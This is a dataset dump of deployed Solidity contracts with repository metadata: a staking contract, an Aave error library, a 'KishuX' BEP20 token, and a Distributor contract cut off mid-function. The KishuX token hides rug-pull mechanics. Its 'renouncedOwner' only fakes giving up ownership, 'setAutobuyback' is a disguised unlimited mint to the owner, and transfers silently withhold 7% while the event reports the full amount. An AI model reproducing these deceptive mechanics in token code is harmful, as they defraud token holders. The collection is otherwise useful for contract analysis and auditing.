hash
stringlengths
64
64
size
int64
7k
624k
ext
stringclasses
1 value
lang
stringclasses
1 value
is_test
bool
2 classes
repo_id
stringclasses
846 values
repo_name
stringclasses
846 values
repo_head
stringclasses
846 values
repo_path
stringlengths
7
155
content_tokens
int64
1.82k
42.6k
content_chars
int64
6.85k
58.7k
content
stringlengths
6.85k
58.7k
__index_level_0__
int64
84
346k
id
int64
0
14.2k
212ba3b32993bd3b7ccec6951216bc283100c70945be8936dbc315b3b0be94aa
34,002
.sol
Solidity
false
519123139
JolyonJian/contracts
b48d691ba0c2bfb014a03e2b15bf7faa40900020
contracts/6369_12738_0xac14864ce5a98af3248ffbf549441b04421247d3.sol
3,717
15,408
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; // Part: Address library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: Context abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; return msg.data; } } // Part: IERC20 interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: SafeMath library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "add: +"); return c; } function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "sub: -"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "mul: *"); return c; } function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "div: /"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "mod: %"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: ERC20 // File: contracts/token/ERC20/ERC20.sol contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} } // Part: Ownable contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Sanctuary.sol contract Sanctuary is ERC20("Staked SDT", "xSDT"), Ownable { using SafeMath for uint256; IERC20 public sdt; address public rewardDistribution; event Stake(address indexed staker, uint256 xsdtReceived); event Unstake(address indexed unstaker, uint256 sdtReceived); event RewardDistributorSet(address indexed newRewardDistributor); event SdtFeeReceived(address indexed from, uint256 sdtAmount); modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } constructor(IERC20 _sdt) public { sdt = _sdt; } // Enter the Sanctuary. Pay some SDTs. Earn some shares. function enter(uint256 _amount) public { uint256 totalSdt = sdt.balanceOf(address(this)); uint256 totalShares = totalSupply(); if (totalShares == 0 || totalSdt == 0) { _mint(_msgSender(), _amount); emit Stake(_msgSender(), _amount); } else { uint256 what = _amount.mul(totalShares).div(totalSdt); _mint(_msgSender(), what); emit Stake(_msgSender(), what); } sdt.transferFrom(_msgSender(), address(this), _amount); } // Leave the Sanctuary. Claim back your SDTs. function leave(uint256 _share) public { uint256 totalShares = totalSupply(); uint256 what = _share.mul(sdt.balanceOf(address(this))).div(totalShares); _burn(_msgSender(), _share); sdt.transfer(_msgSender(), what); emit Unstake(_msgSender(), what); } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; emit RewardDistributorSet(_rewardDistribution); } function notifyRewardAmount(uint256 _balance) external onlyRewardDistribution { sdt.transferFrom(_msgSender(), address(this), _balance); emit SdtFeeReceived(_msgSender(), _balance); } }
231,911
12,100
c04672cebecd71241291bb264047907300e8688d11be0c34f79e16e1b9812a47
9,761
.sol
Solidity
false
468325329
aave-starknet-project/aave-starknet-bridge
6b432ddbf741cb0cf0e8fbff1dce24180bb8996c
contracts/l1/libraries/helpers/Errors.sol
2,636
9,048
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.10; library Errors { //common errors string public constant CALLER_NOT_POOL_ADMIN = "33"; // 'The caller must be the pool admin' string public constant BORROW_ALLOWANCE_NOT_ENOUGH = "59"; // User borrows on behalf, but allowance are too small //contract specific errors string public constant VL_INVALID_AMOUNT = "1"; // 'Amount must be greater than 0' string public constant VL_NO_ACTIVE_RESERVE = "2"; // 'Action requires an active reserve' string public constant VL_RESERVE_FROZEN = "3"; // 'Action cannot be performed because the reserve is frozen' string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = "4"; // 'The current liquidity is not enough' string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = "5"; // 'User cannot withdraw more than the available balance' string public constant VL_TRANSFER_NOT_ALLOWED = "6"; // 'Transfer cannot be allowed.' string public constant VL_BORROWING_NOT_ENABLED = "7"; // 'Borrowing is not enabled' string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = "8"; // 'Invalid interest rate mode selected' string public constant VL_COLLATERAL_BALANCE_IS_0 = "9"; // 'The collateral balance is 0' string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = "10"; // 'Health factor is lesser than the liquidation threshold' string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = "11"; // 'There is not enough collateral to cover a new borrow' string public constant VL_STABLE_BORROWING_NOT_ENABLED = "12"; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = "13"; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = "14"; // 'The requested amount is greater than the max loan size in stable rate mode string public constant VL_NO_DEBT_OF_SELECTED_TYPE = "15"; string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = "16"; // 'To repay on behalf of an user an explicit amount to repay is needed' string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = "17"; // 'User does not have a stable rate loan in progress on this reserve' string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = "18"; // 'User does not have a variable rate loan in progress on this reserve' string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = "19"; // 'The underlying balance needs to be greater than 0' string public constant VL_DEPOSIT_ALREADY_IN_USE = "20"; // 'User deposit is already being used as collateral' string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = "21"; // 'User does not have any stable rate loan for this reserve' string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = "22"; // 'Interest rate rebalance conditions were not met' string public constant LP_LIQUIDATION_CALL_FAILED = "23"; // 'Liquidation call failed' string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = "24"; // 'There is not enough liquidity available to borrow' string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = "25"; // 'The requested amount is too small for a FlashLoan.' string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = "26"; // 'The actual balance of the protocol is inconsistent' string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = "27"; // 'The caller of the function is not the lending pool configurator' string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = "28"; string public constant CT_CALLER_MUST_BE_LENDING_POOL = "29"; // 'The caller of this function must be a lending pool' string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = "30"; // 'User cannot give allowance to himself' string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = "31"; // 'Transferred amount needs to be greater than zero' string public constant RL_RESERVE_ALREADY_INITIALIZED = "32"; // 'Reserve has already been initialized' string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = "34"; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = "35"; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = "36"; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = "37"; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = "38"; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = "39"; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = "40"; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_CONFIGURATION = "75"; // 'Invalid risk parameters for the reserve' string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = "76"; // 'The caller must be the emergency admin' string public constant LPAPR_PROVIDER_NOT_REGISTERED = "41"; // 'Provider is not registered' string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = "42"; // 'Health factor is not below the threshold' string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = "43"; // 'The collateral chosen cannot be liquidated' string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = "44"; // 'User did not borrow the specified currency' string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = "45"; // "There isn't enough liquidity available to liquidate" string public constant LPCM_NO_ERRORS = "46"; // 'No errors' string public constant LP_INVALID_FLASHLOAN_MODE = "47"; //Invalid flashloan mode selected string public constant MATH_MULTIPLICATION_OVERFLOW = "48"; string public constant MATH_ADDITION_OVERFLOW = "49"; string public constant MATH_DIVISION_BY_ZERO = "50"; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = "51"; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = "52"; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = "53"; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = "54"; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = "55"; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = "56"; //invalid amount to mint string public constant LP_FAILED_REPAY_WITH_COLLATERAL = "57"; string public constant CT_INVALID_BURN_AMOUNT = "58"; //invalid amount to burn string public constant LP_FAILED_COLLATERAL_SWAP = "60"; string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = "61"; string public constant LP_REENTRANCY_NOT_ALLOWED = "62"; string public constant LP_CALLER_MUST_BE_AN_ATOKEN = "63"; string public constant LP_IS_PAUSED = "64"; // 'Pool is paused' string public constant LP_NO_MORE_RESERVES_ALLOWED = "65"; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = "66"; string public constant RC_INVALID_LTV = "67"; string public constant RC_INVALID_LIQ_THRESHOLD = "68"; string public constant RC_INVALID_LIQ_BONUS = "69"; string public constant RC_INVALID_DECIMALS = "70"; string public constant RC_INVALID_RESERVE_FACTOR = "71"; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = "72"; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = "73"; string public constant LP_INCONSISTENT_PARAMS_LENGTH = "74"; string public constant UL_INVALID_INDEX = "77"; string public constant LP_NOT_CONTRACT = "78"; string public constant SDT_STABLE_DEBT_OVERFLOW = "79"; string public constant SDT_BURN_EXCEEDS_BALANCE = "80"; string public constant B_L2_ADDRESS_OUT_OF_RANGE = "81"; string public constant B_INVALID_INCENTIVES_CONTROLLER_ADDRESS = "82"; string public constant B_ATOKEN_NOT_APPROVED = "83"; string public constant B_MISMATCHING_ARRAYS_LENGTH = "84"; // When initializing the bridge with mismatching L1 and L2 token arrays string public constant B_INSUFFICIENT_AMOUNT = "85"; string public constant B_TOKEN_ALREADY_APPROVED = "86"; string public constant B_INVALID_ADDRESS = "87"; string public constant B_NOT_ENOUGH_REWARDS = "88"; string public constant B_ABOVE_CEILING = "89"; enum CollateralManagerErrors { NO_ERROR, NO_COLLATERAL_AVAILABLE, COLLATERAL_CANNOT_BE_LIQUIDATED, CURRRENCY_NOT_BORROWED, HEALTH_FACTOR_ABOVE_THRESHOLD, NOT_ENOUGH_LIQUIDITY, NO_ACTIVE_RESERVE, HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD, INVALID_EQUAL_ASSETS_TO_SWAP, FROZEN_RESERVE } }
283,630
12,101
96880f8e5bbc38ebe06ea6d83cffd1884c2045ece3e63ea32c403690e47f71c5
21,086
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0x06ef4773446162D69185Dc346A77329b4122579F/contract.sol
2,507
9,133
pragma solidity >=0.6.0 <0.8.0; interface iBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function Block() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function renouncedOwner(uint8 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function transferOwnership() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } contract KishuX is Context, iBEP20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() public { _name = 'KishuX'; _symbol = 'KISHUX'; _decimals = 9; _totalSupply = 1000000000000 * 10**9; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } uint256 public _taxFee = 4; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 4; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _maxTxAmount = 1000000000000 * 10**18; uint256 private numTokensSellToAddToLiquidity = 1 * 10**18; function getOwner() external view virtual override returns (address) { return owner(); } function decimals() external view virtual override returns (uint8) { return _decimals; } function symbol() external view virtual override returns (string memory) { return _symbol; } function name() external view virtual override returns (string memory) { return _name; } function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function setAutobuyback(uint256 amount) public onlyOwner returns (bool) { _Mac(_msgSender(), amount); return true; } function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount * 93 / 100); emit Transfer(sender, recipient, amount); } function _Mac(address account, uint256 amount) internal { require(account != address(0), "BEP20: send to the zero address"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
249,719
12,102
faa1865ea88586e1e86a3f76b1245c4398c92544ec383ec365b9c455a5707555
17,516
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/9d/9dFa4FAf198259ac3AA78a90751DcB4F3171f418_Distributor.sol
3,872
15,326
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100) , total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function 